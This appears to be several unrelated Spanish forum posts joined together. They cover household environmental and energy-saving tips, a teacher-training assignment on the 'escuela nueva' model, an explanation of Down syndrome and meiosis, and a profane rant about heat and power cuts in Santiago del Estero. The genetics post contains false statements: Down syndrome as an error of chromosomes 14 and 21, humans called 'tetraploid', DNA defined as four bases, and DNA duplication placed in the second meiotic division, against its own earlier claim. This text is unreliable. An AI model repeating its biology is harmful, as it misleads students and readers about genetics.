económicos. 4. Evite las pilas-botón. Si tiene que comprarlas, elija las de litio, las de zinc-aire o las de óxido de plata, que no tienen o tienen muy poco mercurio. 5. Utilice el papel por ambas caras y, posteriormente, deposítelo en un contenedor específico. 6. Entregue en la farmacia los medicamentos caducados o que ya no vaya a utilizar. 7. Emplee detergentes sin fosfatos ni tensoactivos. 8. Al desprenderse de los residuos hágalo de una forma responsable: separe papel y cartón, vidrio, envases y restos orgánicos y deposítelos en contenedores específicos. 9. Utilice con mesura el papel de aluminio y el film transparente. Una opción es guardar los alimentos en fiambreras o tarros de cristal. Continuamos hablando de los 20 gestos que nos ayudan a cuidar del medio ambiente. 10. Sustituya baño por ducha y cierre los grifos mientas se lava los dientes. 11. Elija electrodomésticos con etiqueta energética tipo A. 12. Al elegir sus sanitarios, seleccione aquellos con doble pulsador (permiten escoger entre dos volúmenes diferentes de descarga de agua: 6 - 8 litros ó 3 - 4 litros). 13. Rechace los productos de usar y tirar: pañuelos de papel... 14. Desconecta los aparatos eléctricos de la red cuando no están funcionando. Algunos aparatos (como los televisores) siguen gastando hasta un 33% de la energía. 15. Evite los aerosoles, contienen CFCs, causantes de la destrucción de la capa de ozono, u otros gases que también contribuyen al efecto invernadero. Los pulverizadores son una buena alternativa y son recargables 16. No conecte los electrodomésticos como lavadoras o lavavajillas si no están completos. En cualquier caso, busque aquellos modelos que dispongan de programas de media carga. 17. En la cocina, aprovecha el calor residual de los fuegos. 18. Apague las luces cuando no las necesite y apueste por las bombillas de bajo consumo, aunque son más caras, a la larga ahorran en el recibo de la luz y además no se funden tanto. 19. En invierno, cierre los radiadores de las habitaciones que no se utilizan y ponga el termostato a una temperatura moderada. No sobrepase los 20º durante el día, por cada grado adicional gastará aproximadamente un 5% más de energía. 20. Si dispone de aparatos mixtos (pilas y red) enchúfelos siempre que pueda. Tenga en cuenta que la energía de las pilas cuesta hasta 450 veces más que la que suministra la red. AHORRAR ENERGÍA. Ahorrar energía es el camino más eficaz para reducir las emisiones contaminantes de CO2 (dióxido de carbono) a la atmósfera, y por tanto detener el calentamiento global del planeta y el cambio climático. Es también el camino más sencillo y rápido para lograrlo. Por cada kilovatio /hora de electricidad que ahorremos, evitaremos la emisión de aproximadamente un kilogramo de CO2 en la central térmica donde se quema carbón o petróleo para producir esa electricidad. Además, ahorrar energía tiene otras ventajas adicionales para el medio ambiente, pues con ello evitamos; lluvias ácidas, mareas negras, contaminación del aire, residuos radiactivos, riesgo de accidentes nucleares, proliferación de armas atómicas, destrucción de bosques, devastación de parajes naturales, desertificación. Pero esas ventajas también alcanzan a nuestros bolsillos: cada kilovatio-hora le cuesta al consumidor más de 28 céntimos (en 2002), de forma que cambiar de hábitos o sustituir los aparatos por otros menos despilfarradores nos ahorra dinero; en algunos casos la alternativa que proponemos puede parecer más cara, pero lo que nos gastemos al principio lo recuperamos de manera más o menos rápida, pues habremos reducido el gasto en energía (factura de la luz, etc.). Una vez amortizado, comenzamos a ahorrar dinero (lo que dejamos de gastar en energía). Todas estas ventajas se traducen por sí mismas en una mejor calidad de vida, más aún si consumir menos energía va unido a la mejora de los servicios que ésta nos proporciona (luz, calor, movimiento...), es decir, se trata de mejorar la eficiencia energética. Así pondremos freno a la actual situación de despilfarro energético: en muchas ocasiones consumimos demasiada energía, que no necesitamos, recibiendo poco o ningún servicio y, a veces, un mal servicio e incluso perjuicios. Ahorrar energía es también un deber de solidaridad, si tenemos en cuenta que cada habitante de los países desarrollados consume, por término medio, la misma energía que 16 ciudadanos del Tercer Mundo (“Huella humana de cada ciudadano”), y que los europeos occidentales somos responsables de la emisión de seis veces más cantidad de CO2 que los africanos. Cuanta energía puedes ahorrar • Bombilla fluorescente compacta (de bajo consumo): 80% • Lavadora en frío: 80-92% • Lavadora de bajo consumo energético: 40-70% • Frigorífico de bajo consumo energético: 45-80% • Calefacción en casa bien aislada: 50-90% • Calefacción de gas en vez de eléctrica: 53-80% • Bomba de calor en vez de calefacción eléctrica: 50% • Cocina de gas en vez de eléctrica: 73% • Horno a gas en vez de eléctrico: 60-70% • Tender en vez de secadora: 100% • Lavavajillas con toma de agua caliente: 68% • Lavavajillas en frío: 75% • Usar papel reciclado en vez de papel virgen: 50% • Reciclar el aluminio: 90% • Compartir el coche con dos, tres o cuatro personas: 50-66-75% • Usar el autobús en vez del coche: 80% • Caminar o ir en bicicleta en vez de en coche: 100% • Coche de bajo consumo: 16-25% • Conducir a 90 Km /h en vez de a 110 Km /h: 25% • Coche pequeño en vez de grande: 44% • Tapar las cacerolas al cocinar y ajustar el tamaño de la llama: 20% • Permitir la ventilación de las rejillas de la nevera: 15% • Subir un grado la temperatura del termostato de la nevera: 5% • Tostador de pan en vez de horno: 65-75% • Calentador de agua a gas, o solar con apoyo eléctrico, en vez de solamente eléctrico: 60-70% • Calentador de agua solar, con apoyo a gas, en vez de calentador a gas: 60% • Calentador de agua solar, con apoyo a gas, en vez de calentador eléctrico: 85% • Ventilador de techo en vez de aire acondicionado: 98% • Aire acondicionado evaporativo en vez de refrigerativo: 90% • Necesidades de calor /frío tras cerrar pequeños escapes de aire en el techo /paredes: 20-25% • Necesidades de calor /frío tras aislar el techo: 20-25% • Cambiar el filtro de aire del coche: 20% • Neumáticos bien inflados: 10% Las cifras indican el porcentaje de energía que se ahorra respecto a la que consumía el aparato/hecho en cuestión antes del cambio. Fuentes: MMA y Greenpeace.

Hemos encontrado grandes similitudes con el modelo de escuela nueva y modelo activista, el término de “escuela de los 90” hace referencia a un modelo didáctico, a todo un conjunto de principios fundados en base a concepciones y pensamientos filosóficos y psicológicos. Basado en la formación del pensamiento crítico, desarrollo de la creatividad y el aprendizaje significativo, el profesor actúa como estimulador y orientador del aprendizaje, el profesor ya no es el punto de referencia fundamental y pasa a ser el mediador entre el objeto de conocimiento y el alumno, este modelo obliga, por así decirlo, a tomar postura del servicio de los intereses y necesidades de los alumnos. En este modelo se busca como finalidad educar al alumnado incardinado en la realidad que le rodea, desde el convencimiento de que el contenido verdaderamente importante para ser aprendido por ese alumno/a ha de ser expresión de sus intereses y experiencias y se halla en el entorno en que vive. Se considera más importante que el alumno/a aprenda a observar, a buscar información, a descubrir… que el propio aprendizaje de los contenidos supuestamente presentes en la realidad; ello se acompaña del fomento de determinadas actitudes, como curiosidad por el entorno, cooperación en el trabajo común, etc. (TENDENCIAS PEDAGÓGICAS Nº 15. Vol. 1 2010) Este Modelo de Escuela toma distancia del Modelo de Escuela Tradicional totalmente. Esto es, mientras el Modelo Tradicional consideraba al alumno como un sujeto pasivo el cual aprendía tomando lecciones, repitiendo hasta memorizar para presentar evaluaciones. La Escuela Nueva propone que el alumno aprende solo a través de la experiencia, del contacto directo con las cosas. El Modelo Tradicional consideraba al alumno como alguien pasivo, la Escuela Nueva lo considera como quien debe aprender a partir de la acción. Como un agente activo Su finalidad no es un montón de contenidos a enseñar sino que debe prepararse para enfrentar a la vida con pensamiento crítico, social, participativo, constructivo, reflexivo y para ello se tiene y debe apuntar hacia el desarrollo de la creatividad, basándose en el interés propio del alumno. Aplicaríamos este modelo de la siguiente manera: -contenido: herramientas -indagación de conocimientos previos -concepto: en este punto, damos como actividad a los alumnos, formular individualmente con información y conocimientos propios un concepto de “herramientas”, luego en una puesta en común orientamos o mediamos a formar un concepto usando las diferentes formadas por los alumnos. De esta manera partimos de la zona de desarrollo real de los alumnos y actuamos como “mediadores”, luego procedemos a la clasificación de las herramientas, para seguir alimentando para llegar la zona de desarrollo potencial y permitir a los alumnos avanzar en la construcción del conocimiento de herramientas, y por ejemplo usar este tema en este punto para también enseñar el correcto uso y manipulación de los mismos. Herramienta: son objeta cuya finalidad es facilitar la realización de diferentes tareas mecánicas que requieren una aplicación de una determinada fuerza física, permitiendo la disminución de la fuerza a ejercer en una forma más cómoda. Clasificación: se pueden clasificar en herramientas mecánicas y manuales Mecanicas.se utiliza energía externa ej.: taladro Manuales: se utiliza la fuerza humana ej.: pinza -damos actividades para discernir entre los diferentes tipos de herramientas y hacemos puesta en común para debatir la importancia del correcto uso de los mismos, de las consecuencias de no hacerlo, por ej. En el uso diario. Desde el punto de vista grupal creemos que el alumno construye un aprendizaje significativo. ENTREVISTA AL DOCENTE: 1) ¿Qué tipo de metodología didáctica se usaba? Con el llegado de la Ley Federal existía una mezcla tradicional y el resto se adecuo a la nueva escuela “El Constructivismo “. 2) ¿Cómo era el papel del docente? Era una mezcla de tradicional e innovador 3) ¿Qué cambios ocurrieron en la estructura de la reforma educativa? Se prolongó la obligatoriedad hasta 9no año, luego el polimodal que era optativo, también TTP y orientación. 4) ¿Por qué se decía que era una Pedagogía Progresista? Rompen los viejos esquemas de una educación enciclopedista 5) Características de la Nueva Escuela Constructivismo como opción valedera El sujeto de la educación ya no es el Docente sino el alumno Se tiene en cuenta el contexto y los diseños son flexibles y las planificaciones Se halla el aula sin muros Conclusión: Desde el punto de vista grupal creemos que la escuela de los años 90 es la adecuada para aplicar en el proceso de enseñanza aprendizajes ya que el docentes es un mediador entre el conocimiento y el alumno, para que asi ambos formen su aprendizaje significativo y también la teoría se encuentra totalmente articulada la “Teoría y la Practica “ya que como futuros docente debemos llevarla a cabo. Espero que les guste , llevo mucho tiempo realizar esto , como siempre nuestros post relacionados a la educacion , no olviden dejar puntos

En cada célula en el cuerpo humano existe un núcleo, donde se almacena material genético en los genes. Esos Genes llevan los códigos responsables de todos nuestros rasgos heredados(GENOTIPO y FENOTIPO) y se agrupan a lo largo de la varilla de estructuras llamadas cromosomas. Normalmente, el núcleo de cada célula contiene 23 pares de cromosomas(23 madre , 23 padres), la mitad de los cuales se heredan de cada progenitor. Síndrome de Down ocurre cuando un individuo tiene una total o parcial copia extra del cromosoma 21, entonces se puede decir que el SINDROME DE DOWN es un error en los cromosomas 14 y 21 alterando los rasgos fisicos y mentales del sujeto. Este material genético adicional altera el curso del desarrollo y provoca las características asociadas con el síndrome de Down. Algunos de los rasgos físicos comunes del síndrome de Down son bajo tono muscular, baja estatura, una inclinación hacia arriba a los ojos y un solo pliegue profundo por el centro de la Palma. Sin embargo, cada persona con síndrome de Down es un individuo único y puede poseer estas características en grados diferentes o no. Esto se da en un proceso que todo ser humano para lograr su existencia debe pasar , es el llamado proceso de la "MEIOSIS". ¿Que es la MEIOSIS? Es la división celular que permite la reproducción sexual. Comprende dos divisiones sucesivas: una primera división meiótica, que es una división de reduccion, ya que de una célula madre "diploide (2n)" se obtienen dos células hijas haploides (n); y una segunda división meiótica, que es una división ecuacional, ya que las células hijas tienen el mismo número de cromosomas que la célula madre (como la división mitótica). Así, dos células "n" de la primera división meiótica se obtiene cuatro células n. Igual que en la mitosis, antes de la primera división meiótica hay un período de interfase en el que se duplica el ADN. Sin embargo, en la interfase de la segunda división meiótica no hay duplicación del ADN. ¿Que es el ADN? El ADN son cuatro bases nitrogenadas denominadas " ADENINA , GUANINA , CITOCINA Y TIMINA " asi forman la estructura del material genetico. ¿Como es el proceso de la MEIOSIS? Profase I: Es la más larga y compleja, puede durar hasta meses o años según las especies que esten en el proceso sexual de reproducción. Se subdivide en: leptoteno, se forman los cromosomas, con dos cromátidas; zigoteno, cada cromosoma se une íntimamente con su homólogo par; paquiteno: los cromosomas homólogos permanece juntos formando un bivalente o tétrada"es por eso que se dice que los seres humanos somos seres , tetraploides " ; diploteno, se empiezan a separar los cromosomas homólogos, los cromosomas aumentan su condensación, distinguiéndose las dos cromátidas hermanas en el bivalente. - Metafase I. La envoltura nuclear y los nucleolos han desaparecido y los bivalentes se disponen en la placa ecuatorial del Huso Mitotico. - Anafase I. Los dos cromosomas homólogos que forman el bivalente se separan, quedando cada cromosoma con sus dos cromátidas en cada polo"despolarizacion". - Telofase I. Según las especies, bien se desespiralizan los cromosomas y se forma la envoltura nuclear, o bien se inicia directamente la segunda división meiótica. Luego de todo este proceso continua con la segunda parte en donde se duplica el ADN que son las cuatro bases nitrogenadas. DESDE MI PUNTO DE VISTA CREO QUE ES HORA DE DEJAR DE LADO TODOS LOS PREJUICIOS DE ESTE MUNDO IRRACIONAL Y EMPEZAR A CAMBIAR EL RUMBO DE ESTE MUNDO , ELLOS SON PERSONAS AL IGUAL QUE TU Y YO , TIENEN LOS MISMOS DERECHOS Y SON MAS INTELIGENTES , NO TIENEN MALDAD Y SON SERES PUROS. NO A LA DISCRIMINACIÓN HAGAMOS UN MUNDO MEJOR , PODEMOS LOGRARLO.

En mi provincia Santiago del estero , ubicada en la Republica Argentina El santiagueño reconocido por su hermosa cultura y muchas cosas mas .... pero debo informarles que oficialmente nos estamos muriendo de calor ... lpm encima La compañia de electricidad nos cortan la energia asi que nos cagamos de calor , sin aire , sin ventilador , sin una mierda que tomar ..... .... hace rato una vecina cocino un huevo colocando el huevito de la gallina , arriba de un techo de chapa y pueden creer que lo cocino .... en fin solamente el santiagueño puede aguantar semejante calvario ..... entonces la mejor formar de enfrentar el calor es tirarse bajo un arbol en la sombra ... y meterle unos cuantos buenos PORRONES bien frios ahora una sorpresa ........... la provincia mas calurosa de la argentina y una de las mas calurosas del mundo a que no se imaginaban En fin mi ultima palabra para la compañia electrica Edese " vete bien a la mierda .I. "